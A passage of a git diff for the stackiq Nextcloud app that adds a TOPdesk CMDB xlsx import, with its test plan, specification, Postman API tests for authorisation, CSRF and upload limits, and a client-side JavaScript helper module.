`src/views/settings/sections/CmdbImport.vue`, `src/utils/cmdbImport.js`, `l10n/*`, `tests/fixtures/cmdb/*`, `tests/Unit/**/Cmdb*`, `tests/Unit/Settings/CmdbPersonDataVisibilityTest.php`, `tests/e2e/spec-coverage/cmdb-import.spec.ts`, `docs/features/cmdb-import.md`, `openapi.json`, `postman/stackiq-tests.json` +- **acceptance_criteria**: + - The source sheets are "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets are not read; columns resolve by header name per sheet + - `externalKey` = `topdesk::`; "Applicatie Code" → `externalId`, APPID → `externalNumber`; rows without APPID are skipped (`missing APPID`); the report row field is `appId` + - The column table of design.md is implemented, including `cloudDienstverleningsmodel`, `bbnLevel`, `timeClassification`, `startDateOutPhased` and the maintenance note; the technical-owner pack is removed + - Formula cells give their cached value; no cached value gives an empty cell and a row warning, never a failure + - The rig data of the first import is removed and the fixture re-imported twice (created, then unchanged); the owner is not readable anonymously +- [x] Implement +- [x] Test + +## Quality checklist + +- PHPUnit for all new business logic (`tests/Unit/`), at least 75% coverage of new code (ADR-009), using the sanitised xlsx fixtures (not mocked rows) for reader and service tests +- Newman/Postman for both new endpoints (Task 8); Playwright for the settings flow (Task 9) +- `composer test`, `newman run` and the Playwright spec pass on the local rig +- Test against OpenRegister on the rig: the saved objects pass schema validation (module 0.3.5, organization, usage, contactPerson) +- Hydra gates run locally (`scripts/run-hydra-gates.sh`); read the COVERAGE line and name any SKIPPED gate +- Dutch (`nl_NL`) and English (`en_US`) strings for every new user-facing string (ADR-005) +- Docs in `docs/features/cmdb-import.md` with screenshots (ADR-010) +- `openspec validate cmdb-export-import` passes diff --git a/openspec/changes/cmdb-export-import/test-plan.md b/openspec/changes/cmdb-export-import/test-plan.md new file mode 100644 index 000000000..19378bfe8 --- /dev/null +++ b/openspec/changes/cmdb-export-import/test-plan.md @@ -0,0 +1,147 @@ +# Test Plan: cmdb-export-import + +Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (abbreviated `spec.md` below). Fixture: `tests/fixtures/cmdb/topdesk-export-anonymised.xlsx` (one fake data row per source sheet, metadata removed). Municipality in every case: "Gemeente Voorbeeldstad". Environment: local rig (Deploy-target n.v.t.). + +## Test Cases + +### TC-1: Admin imports the export and sees a per-row report +- **spec_ref**: `spec.md#requirement-req-cmdb-011-each-row-shall-be-processed-in-isolation-and-reported-with-its-outcome`, `#requirement-req-cmdb-014-the-admin-settings-shall-offer-a-cmdb-import-section`, `#requirement-req-cmdb-004-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin` +- **type**: functional +- **persona**: Noor Yilmaz (Municipal CISO / Functional Admin) +- **preconditions**: Nextcloud admin; "Gemeente Voorbeeldstad" exists as type Municipality; no imported modules +- **steps**: open stackiq admin settings, section "CMDB import", choose the municipality, choose the fixture, press Import +- **expected result**: progress bar during the run; summary 2 read / 2 created; report rows `Onbeh Applicaties CMDB` row 2 APPID `1234` and `Beheerde Applicaties CMDB` row 2 APPID `2`, each `created` and linking to its module; no empty rows listed +- **test command**: Playwright `tests/e2e/spec-coverage/cmdb-import.spec.ts`, `/test-functional`, `/test-persona-noor` + +### TC-2: Re-import creates no duplicates +- **spec_ref**: `spec.md#requirement-req-cmdb-006-a-module-shall-be-matched-on-its-topdesk-appid-so-a-re-import-updates-instead-of-duplicating`, `#requirement-req-cmdb-009-each-imported-application-shall-have-one-usage-that-links-it-to-the-municipality` +- **type**: functional +- **persona**: Noor Yilmaz +- **preconditions**: TC-1 done; object counts of module, organization, usage, contactPerson recorded +- **steps**: import the same fixture again for the same municipality +- **expected result**: 0 created, 2 unchanged; all four counts equal to before +- **test command**: Playwright `cmdb-import.spec.ts`; PHPUnit `CmdbExportImportServiceTest` + +### TC-3: Changed fields update, publicationDate and unmapped fields are kept +- **spec_ref**: `spec.md#requirement-req-cmdb-006-…`, `#requirement-req-cmdb-007-a-newly-created-module-shall-get-a-publicationdate-and-an-existing-one-shall-keep-its-own` +- **type**: api +- **preconditions**: modules imported; an admin set `website` on APPID `2` and depublished it +- **steps**: import rows where "Applicatie Naam" of APPID `2` is `naamtest124`, and where the "Applicatie Code" of APPID `42` changed +- **expected result**: same uuid, name `naamtest124`, `website` unchanged, `depublicationDate` unchanged, no new `publicationDate`; APPID `1234` keeps its original `publicationDate`; APPID `42` is the same module with the new `externalId` +- **test command**: PHPUnit `tests/Unit/Service/CmdbExportImportServiceTest.php` + +### TC-4: Manufacturer dedup +- **spec_ref**: `spec.md#requirement-req-cmdb-008-a-manufacturer-shall-become-one-supplier-organisation-however-many-rows-name-it` +- **type**: api +- **preconditions**: an existing Supplier `Aangetekend B.V.` +- **steps**: import rows with "Vendor" `Fabfrikant`, `Fabfrikant `, `FABFRIKANT`, and the "Onbeh" row +- **expected result**: one new Supplier `Fabfrikant`; `Aangetekend B.V.` reused; module and usage `provider` set accordingly +- **test command**: PHPUnit `CmdbExportImportServiceTest` + +### TC-5: Upload validation (type, size, columns, sheets, options) +- **spec_ref**: `spec.md#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin`, `#requirement-req-cmdb-003-columns-shall-be-resolved-by-header-name-and-a-missing-required-column-shall-stop-the-import-with-422`, `#requirement-req-cmdb-012-records-missing-from-a-newer-export-shall-be-left-untouched` +- **type**: api +- **preconditions**: admin session +- **steps**: post `applications.csv`; a text file named `.xlsx`; a 10 MB + 1 byte file; `topdesk-missing-appid.xlsx`; a workbook with only "Blad1"; the fixture with `missingRecords=remove`; the fixture without a municipality +- **expected result**: 400 `NOT_XLSX` (twice), 413 `FILE_TOO_LARGE`, 422 `MISSING_COLUMN` naming `APPID` and `Beheerde Applicaties CMDB`, 422 `NO_SOURCE_SHEET`, 422 `MISSING_RECORDS_UNSUPPORTED`, 422 `MUNICIPALITY_REQUIRED`; no object written in any case +- **test command**: PHPUnit `CmdbImportControllerTest`, Newman (Postman collection), `/test-api`; the missing-column UI message also in Playwright + +### TC-6: Authorisation and CSRF +- **spec_ref**: `spec.md#requirement-req-cmdb-001-…`, `#requirement-req-cmdb-013-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled` +- **type**: security +- **preconditions**: a non-admin user, also one in `software-catalog-admins` +- **steps**: post the fixture and the cancel route as that user; post as admin without `requesttoken` +- **expected result**: 403 for non-admins; 412 without CSRF token; no object written +- **test command**: Newman, `/test-security` + +### TC-7: Safe reading (formulas, external connection, column order) +- **spec_ref**: `spec.md#requirement-req-cmdb-002-the-workbook-shall-be-read-as-stored-data-without-evaluating-formulas-or-following-links`, `#requirement-req-cmdb-003-…` +- **type**: security +- **preconditions**: fixtures `topdesk-formula-and-connection.xlsx`, `topdesk-shuffled-columns.xlsx` +- **steps**: read both through `CmdbWorkbookReader` +- **expected result**: formula cell yields the cached `Rekenmodel`, calculation engine never invoked; no network access; shuffled columns give identical rows; disallowed columns (Personeelsnummer, phones, group mailbox) are absent from the reader output +- **test command**: PHPUnit `tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php` + +### TC-8: Normalisation and declarative mapping +- **spec_ref**: `spec.md#requirement-req-cmdb-005-field-mapping-shall-be-declarative-and-executed-by-openregisters-mapping-engine` +- **type**: api +- **preconditions**: fixture rows; an alternate module pack mapping "Roepnaam" to `shortDescription` +- **steps**: normalise and map the rows through the real `MappingEngine` +- **expected result**: `2023-07-04`, `2026-07-29`, `2046-02-01`, `"1234"`; alternate pack yields `shortDescription`; an unknown "Status" drops only `status` with a warning; an invalid pack or a missing engine gives 503 `MAPPING_UNAVAILABLE` +- **test command**: PHPUnit `CmdbRowNormaliserTest`, `CmdbImportProfileTest`, `CmdbExportImportServiceTest` + +### TC-9: Per-row isolation and cancel +- **spec_ref**: `spec.md#requirement-req-cmdb-011-…`, `#requirement-req-cmdb-013-…` +- **type**: regression +- **preconditions**: three rows; `saveObject()` throws for the second module; separately, cancel requested after row 1 +- **steps**: run the import twice +- **expected result**: run 1: rows 1 and 3 created, row 2 failed naming the step, HTTP 200; run 2: 1 processed row, `cancelled: true`, row 1's module kept +- **test command**: PHPUnit `CmdbExportImportServiceTest` + +### TC-10: Owners as contact persons, no user accounts +- **spec_ref**: `spec.md#requirement-req-cmdb-010-the-owner-shall-become-a-contact-person-of-the-municipality-through-nextcloud-contacts-never-a-user-account-and-shall-never-be-publicly-readable` +- **type**: security +- **preconditions**: Contacts enabled (test double); separately disabled +- **steps**: import a row twice and a second row with the same "Applicatie Eigenaar (Persoon)"; import the fixture, whose "Beheerde" owner is a function; run `performUserSync` selection on the result; then, not signed in, list contact persons and usages through OpenRegister and search OpenCatalogi for `naamtest123` +- **expected result**: one contactPerson per owner with the function as `role` and `organization` = municipality, set as `businessOwner`; no `technicalOwner`; no Nextcloud user created and the contactPerson not selected by the user sync; with Contacts disabled: no owners, a warning, modules and usages saved; report and log contain no owner name; anonymously: no contact person or usage from OpenRegister, and the OpenCatalogi hit holds no owner name and only ids in `contactPerson` / `usages` +- **test command**: PHPUnit `CmdbExportImportServiceTest`, `CmdbPersonDataVisibilityTest`, Playwright `cmdb-import.spec.ts` (anonymous test), `/test-security` + +### TC-11: OpenCatalogi finds an imported application +- **spec_ref**: `spec.md#requirement-req-cmdb-007-…` +- **type**: functional +- **persona**: Sem de Jong (Young Digital Native; anonymous search) +- **preconditions**: OpenCatalogi catalogue with registers `[stackiq]`, schemas `[module]`, listed and published (docs, prerequisites); TC-1 done +- **steps**: anonymous `GET /apps/opencatalogi/api/search?_search=Aangetekend` +- **expected result**: one hit `Aangetekend Mailen` +- **test command**: manual on the rig (USER MANUAL TEST, WOO-586 Stap 6b), `/test-functional` + +### TC-12: Portaliq shows the applications to the municipality +- **spec_ref**: `spec.md#requirement-req-cmdb-009-…` +- **type**: persona +- **persona**: Noor Yilmaz (Municipal CISO / Functional Admin) +- **preconditions**: Portaliq account with claim `stackiq.organisationId` = uuid of "Gemeente Voorbeeldstad", audience participant-org; TC-1 done +- **steps**: sign in to the portal, open "Software we use" +- **expected result**: `Aangetekend Mailen` and `naamtest123` listed; an account for another organisation sees neither +- **test command**: manual on the rig, `/test-persona-noor` + +### TC-13: Accessibility of the section +- **spec_ref**: `spec.md#requirement-req-cmdb-014-…` +- **type**: accessibility +- **preconditions**: section rendered with a finished report +- **steps**: keyboard-only run of TC-1; axe scan; screen-reader check of progress and summary +- **expected result**: every control labelled and reachable; progress and summary announced through a polite live region; report table has header cells; no serious/critical axe violations +- **test command**: `/test-accessibility`, hydra gates `form-label-association`, `nc-input-labels`, `button-name`, `table-headers`, `axe` + +### TC-14: Register fragment deploys the module properties +- **spec_ref**: `spec.md#requirement-req-cmdb-006-…` (stored key), design.md Mixed-spec rationale +- **type**: regression +- **preconditions**: all `register.d` fragments present +- **steps**: merge the register as `SettingsService` does; run the repair step on the rig +- **expected result**: merged `module.version` is `0.3.5` with the five optional properties; existing modules still load and save; seed module `voorbeeld-zaaksysteem` present without `publicationDate` +- **test command**: PHPUnit `tests/Unit/Settings/TopdeskCmdbFragmentTest.php`, `/test-regression` + +## Coverage Summary + +| Requirement | Covered by | +|---|---| +| REQ-CMDB-001 upload bounds, admin, CSRF | TC-5, TC-6 | +| REQ-CMDB-002 safe reading | TC-7 | +| REQ-CMDB-003 header-name columns, 422 | TC-5, TC-7 | +| REQ-CMDB-004 one municipality | TC-1, TC-5, PHPUnit (created once) | +| REQ-CMDB-005 declarative mapping, dates | TC-8 | +| REQ-CMDB-006 upsert on APPID | TC-2, TC-3, TC-14 | +| REQ-CMDB-007 publicationDate rule | TC-3, TC-11 | +| REQ-CMDB-008 manufacturer dedup | TC-4 | +| REQ-CMDB-009 usage per municipality | TC-2, TC-12 | +| REQ-CMDB-010 owner via Contacts, never public | TC-10 | +| REQ-CMDB-011 per-row isolation and report | TC-1, TC-9 | +| REQ-CMDB-012 missing records kept | TC-5, PHPUnit (dropped row stays) | +| REQ-CMDB-013 progress and cancel | TC-6, TC-9 | +| REQ-CMDB-014 settings section | TC-1, TC-13 | + +All requirements are covered. After implementation, TC-1, TC-2 and TC-11/12 are candidates for `/test-scenario-create` (key user flow and cross-app chain). + +## Out of Scope + +- Performance on the real 1,100-row export: the real file never enters a repo or a test run. It is measured once, manually, on the rig, and only the timing is recorded. +- The archive sheet, connections, suites and hosting parties are not built, so they are not tested. diff --git a/openspec/specs/cmdb-export-import/spec.md b/openspec/specs/cmdb-export-import/spec.md new file mode 100644 index 000000000..0ccc1f53e --- /dev/null +++ b/openspec/specs/cmdb-export-import/spec.md @@ -0,0 +1,51 @@ +--- +capability: cmdb-export-import +status: in-progress +built_by: openspec/changes/cmdb-export-import +--- + +# cmdb-export-import Specification + +**Status**: in-progress +**Scope**: stackiq +**OpenSpec changes**: +- [cmdb-export-import](../../changes/cmdb-export-import/) _(active)_ — admin uploads a TOPdesk CMDB export (xlsx); stackiq upserts modules, vendor organisations, usages and owner contact persons for one municipality from the two CMDB sheets, matched on APPID, mapped by OpenRegister migration packs (kind: code) + +## Purpose + +A Nextcloud admin imports a TOPdesk CMDB export (xlsx) into stackiq for one +municipality. Every application row becomes, or updates, a `module` with its +manufacturer `organization`, a `usage` that links it to the municipality, and +`contactPerson` objects for its owners, all stored as OpenRegister objects +(ADR-001). The mapping is declarative JSON executed by OpenRegister's mapping +engine (ADR-031), so a newer export can be imported again without duplicates, +and OpenCatalogi and Portaliq can show the result (Jira WOO-586). + +## Requirements + +Detailed requirements (REQ-CMDB-001 … REQ-CMDB-014) are defined in the active +change's delta spec — +[`openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md`](../../changes/cmdb-export-import/specs/cmdb-export-import/spec.md) +— and are merged here by `openspec sync` when the change is archived. The +umbrella requirement below anchors the capability until then. + +### Requirement: Stackiq imports a TOPdesk CMDB export into OpenRegister objects (REQ-CMDB-000) + +Stackiq MUST offer Nextcloud admins one import path for a TOPdesk CMDB export +(xlsx) that writes only OpenRegister objects in the `stackiq` register +(`module`, `organization`, `usage`, `contactPerson`), with no app-local table, +and that matches rows on the TOPdesk APPID so that a repeated import +creates no duplicates. + +#### Scenario: A repeated import adds no objects + +- GIVEN a TOPdesk export imported once for a municipality +- WHEN the same export is imported again for that municipality +- THEN the number of `module`, `organization`, `usage` and `contactPerson` objects SHALL be unchanged +- @e2e exclude umbrella anchor; the behaviour is covered by REQ-CMDB-006 in the change's delta spec (tests/e2e/spec-coverage/cmdb-import.spec.ts and tests/Unit/Service/CmdbExportImportServiceTest.php) + +## Notes + +- Follows the upload patterns of `sbom-import` and `archimate-import`. +- Related: stackiq#373 (live TOPdesk connector), stackiq#1127 (record + reconciliation), stackiq#1134 (ITSM exchange). diff --git a/postman/stackiq-tests.json b/postman/stackiq-tests.json index 319fbf649..f5544dc6a 100644 --- a/postman/stackiq-tests.json +++ b/postman/stackiq-tests.json @@ -22547,6 +22547,498 @@ ] } ] + }, + { + "name": "12 - CMDB import", + "description": "openspec/changes/cmdb-export-import (contract.md). Run newman from the app root so the fixture path tests/fixtures/cmdb/ resolves.", + "item": [ + { + "name": "CMDB import: 403 for a user who is not a Nextcloud admin", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "mark.jansen@test.nl" + }, + { + "key": "password", + "value": "{{test_password}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"A non-admin cannot import\", function () {", + " pm.response.to.have.status(403);", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 403 for a software-catalog-admins member", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "peter.vandijk@test.nl" + }, + { + "key": "password", + "value": "{{test_password}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"The catalogue admin group is not enough\", function () {", + " pm.response.to.have.status(403);", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 412 without a CSRF token", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "prerequest", + "script": { + "exec": [ + "// The collection adds OCS-APIRequest, which satisfies the CSRF check; this request must go without it.", + "pm.request.headers.remove(\"OCS-APIRequest\");" + ], + "type": "text/javascript" + } + }, + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"Nextcloud refuses the request without a CSRF token\", function () {", + " pm.response.to.have.status(412);", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 413 for a file over 10 MB", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "{{cmdb_oversized_file}}" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + } + ] + }, + "description": "Set cmdb_oversized_file to a file of 10485761 bytes; the request is skipped when it is not set." + }, + "response": [], + "event": [ + { + "listen": "prerequest", + "script": { + "exec": [ + "// Needs a file of 10 MB plus one byte, e.g. `head -c 10485761 /dev/zero > /tmp/cmdb-oversized.xlsx`,", + "// passed as --env-var cmdb_oversized_file=/tmp/cmdb-oversized.xlsx. Without it the request is skipped, not passed.", + "if (!pm.variables.get(\"cmdb_oversized_file\")) {", + " pm.execution.skipRequest();", + "}" + ], + "type": "text/javascript" + } + }, + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"An oversized upload is refused before it is read\", function () {", + " pm.response.to.have.status(413);", + " pm.expect(pm.response.json().error).to.eql(\"FILE_TOO_LARGE\");", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 422 MISSING_RECORDS_UNSUPPORTED for missingRecords=remove", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + }, + { + "key": "missingRecords", + "value": "remove", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"Only missingRecords=keep is accepted\", function () {", + " pm.response.to.have.status(422);", + " pm.expect(pm.response.json().error).to.eql(\"MISSING_RECORDS_UNSUPPORTED\");", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 200 with the report for the anonymised export", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + }, + "body": { + "mode": "formdata", + "formdata": [ + { + "key": "cmdbFile", + "type": "file", + "src": "tests/fixtures/cmdb/topdesk-export-anonymised.xlsx" + }, + { + "key": "municipalityName", + "value": "Gemeente Voorbeeldstad", + "type": "text" + }, + { + "key": "updateExisting", + "value": "true", + "type": "text" + }, + { + "key": "missingRecords", + "value": "keep", + "type": "text" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"The export is imported with a per-row report\", function () {", + " pm.response.to.have.status(200);", + " var json = pm.response.json();", + " pm.expect(json.success).to.eql(true);", + " pm.expect(json.municipality.name).to.eql(\"Gemeente Voorbeeldstad\");", + " pm.expect(json.summary.rowsRead).to.eql(2);", + " pm.expect(json.summary.created + json.summary.unchanged + json.summary.updated).to.eql(2);", + " pm.expect(json.summary.failed).to.eql(0);", + " pm.expect(json.rows.map(function (r) { return r.appId; })).to.eql([\"1234\", \"2\"]);", + " pm.expect(json.rows.map(function (r) { return r.sheet; })).to.eql([\"Onbeh Applicaties CMDB\", \"Beheerde Applicaties CMDB\"]);", + " pm.environment.set(\"cmdb_operation_id\", json.operationId);", + "});" + ], + "type": "text/javascript" + } + } + ] + }, + { + "name": "CMDB import: 404 OPERATION_NOT_FOUND when cancelling an unknown import", + "request": { + "method": "POST", + "header": [ + { + "key": "OCS-APIRequest", + "value": "true", + "type": "text" + } + ], + "url": { + "raw": "{{stackiq_api}}/cmdb-import/cmdb-00000000-0000-4000-8000-000000000000/cancel", + "host": [ + "{{stackiq_api}}" + ], + "path": [ + "cmdb-import", + "cmdb-00000000-0000-4000-8000-000000000000", + "cancel" + ] + }, + "auth": { + "type": "basic", + "basic": [ + { + "key": "username", + "value": "{{admin_user}}" + }, + { + "key": "password", + "value": "{{admin_pass}}" + } + ] + } + }, + "response": [], + "event": [ + { + "listen": "test", + "script": { + "exec": [ + "pm.test(\"Cancel needs a running cmdb_import operation\", function () {", + " pm.response.to.have.status(404);", + " pm.expect(pm.response.json().error).to.eql(\"OPERATION_NOT_FOUND\");", + "});" + ], + "type": "text/javascript" + } + } + ] + } + ] } ], "auth": { diff --git a/src/utils/cmdbImport.js b/src/utils/cmdbImport.js new file mode 100644 index 000000000..f53a930f1 --- /dev/null +++ b/src/utils/cmdbImport.js @@ -0,0 +1,494 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. + +/** + * Client side of the CMDB import: request building, the checks the page can + * make before uploading, and the words for every error code and outcome. + * + * The routes, field names, report shape and error codes are fixed by + * openspec/changes/cmdb-export-import/contract.md. The server stays the + * authority: every check here is repeated there. + * + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-014-the-admin-settings-shall-offer-a-cmdb-import-section + */ + +import { translate as t } from '@nextcloud/l10n' +import { generateUrl } from '@nextcloud/router' + +/** Largest upload the import accepts (contract: profile `maxFileBytes`). */ +export const MAX_FILE_BYTES = 10 * 1024 * 1024 + +/** The two sheets the import reads (contract: NO_SOURCE_SHEET details). */ +export const SOURCE_SHEETS = ['Onbeh Applicaties CMDB', 'Beheerde Applicaties CMDB'] + +/** Every row outcome the report can carry, in display order. */ +export const OUTCOMES = ['created', 'updated', 'unchanged', 'skipped', 'failed'] + +/** + * The words for one row outcome. + * + * @param {string} outcome The outcome key from the report + * @return {string} The label + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-011-each-row-shall-be-processed-in-isolation-and-reported-with-its-outcome + */ +export function outcomeLabel(outcome) { + switch (outcome) { + case 'created': + return t('stackiq', 'Created') + case 'updated': + return t('stackiq', 'Updated') + case 'unchanged': + return t('stackiq', 'Unchanged') + case 'skipped': + return t('stackiq', 'Skipped') + case 'failed': + return t('stackiq', 'Failed') + default: + return String(outcome ?? '') + } +} + +/** + * Make a fresh operation id, in the form the contract's example uses + * (`cmdb-` plus a random version 4 uuid). + * + * `crypto.randomUUID()` exists only in a secure context, and an instance + * served over plain http is not one, so the uuid is built from + * `getRandomValues()`, which is available everywhere. + * + * @return {string} The id + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-013-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled + */ +export function makeCmdbOperationId() { + const bytes = new Uint8Array(16) + globalThis.crypto.getRandomValues(bytes) + bytes[6] = (bytes[6] & 0x0f) | 0x40 + bytes[8] = (bytes[8] & 0x3f) | 0x80 + const hex = Array.from(bytes, (b) => b.toString(16).padStart(2, '0')).join('') + return ( + 'cmdb-' + + hex.slice(0, 8) + + '-' + + hex.slice(8, 12) + + '-' + + hex.slice(12, 16) + + '-' + + hex.slice(16, 20) + + '-' + + hex.slice(20) + ) +} + +/** + * The check the page makes on a chosen file before it uploads it. + * + * Only the name and size are checked here; the content check (ZIP signature, + * `xl/workbook.xml`) is the server's. + * + * @param {File|null} file The chosen file + * @return {{error: string, details: object}|null} An error in the server's shape, or null when the file may be sent + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin + */ +export function checkFile(file) { + if (!file) { + return { error: 'NO_FILE_UPLOADED', details: {} } + } + if (!/\.xlsx$/i.test(file.name || '')) { + return { error: 'NOT_XLSX', details: {} } + } + if (file.size > MAX_FILE_BYTES) { + return { error: 'FILE_TOO_LARGE', details: {} } + } + return null +} + +/** + * The multipart body for `POST /api/cmdb-import`. + * + * @param {object} options The options + * @param {File} options.file The export + * @param {{uuid: string|null, name: string}} options.municipality The chosen municipality: an existing one has a uuid, a new one only a name + * @param {boolean} options.updateExisting Whether matched rows are updated + * @param {string} options.operationId The progress operation id + * @return {FormData} The body + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-004-every-import-shall-have-exactly-one-consuming-municipality-chosen-by-the-admin + */ +export function buildImportForm({ + file, + municipality, + updateExisting, + operationId, +}) { + const form = new FormData() + form.append('cmdbFile', file) + if (municipality?.uuid) { + form.append('municipalityUuid', municipality.uuid) + } else if (municipality?.name) { + form.append('municipalityName', municipality.name) + } + form.append('updateExisting', updateExisting ? 'true' : 'false') + form.append('missingRecords', 'keep') + form.append('operationId', operationId) + return form +} + +/** + * The URL of the import endpoint. + * + * @return {string} The URL + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin + */ +export function importUrl() { + return generateUrl('/apps/stackiq/api/cmdb-import') +} + +/** + * Ask the server to stop a running import between two rows. + * + * @param {object} options The options + * @param {string} options.operationId The operation to cancel + * @param {object} options.http An axios-like client with post + * @return {Promise} The server's answer + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-013-a-running-import-shall-report-its-progress-and-shall-stop-when-cancelled + */ +export async function cancelCmdbImport({ operationId, http }) { + const response = await http.post( + generateUrl('/apps/stackiq/api/cmdb-import/{operationId}/cancel', { + operationId, + }), + ) + return response.data +} + +/** + * The link to a module's detail page in the app. + * + * The settings page is outside the app's router, so this is a plain URL. + * + * @param {string} uuid The module uuid + * @return {string} The URL + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-011-each-row-shall-be-processed-in-isolation-and-reported-with-its-outcome + */ +export function moduleUrl(uuid) { + return generateUrl('/apps/stackiq/modules/{id}', { id: uuid }) +} + +/** + * Turn a failed request into the server's error shape. + * + * Errors raised by Nextcloud itself (not signed in, not an admin, CSRF) come + * without a CMDB error code, so they get one here from the HTTP status. + * + * @param {object} error The axios error + * @return {{error: string, message: string, details: object, status: number}} The error + * @spec openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md#requirement-req-cmdb-001-the-import-endpoint-shall-accept-only-a-bounded-xlsx-upload-from-a-nextcloud-admin + */ +export function normaliseError(error) { + const status = error?.response?.status ?? 0 + const body = error?.response?.data + const fromBody = + body && typeof body === 'object' && typeof body.error === 'string' + ? body.error + : '' + let code = fromBody + if (code === '') { + if (status === 401) { + code = 'NOT_SIGNED_IN' + } else if (status === 403) { + code = 'NOT_ADMIN' + } else if (status === 412) { + code = 'CSRF_FAILED' + } else if (status === 413) { + code = 'FILE_TOO_LARGE' + } else if (status === 0) { + code = 'NETWORK_ERROR' + } else { + code = 'IMPORT_FAILED' + } + } + return { + error: code, + message: + body && typeof body === 'object' && typeof 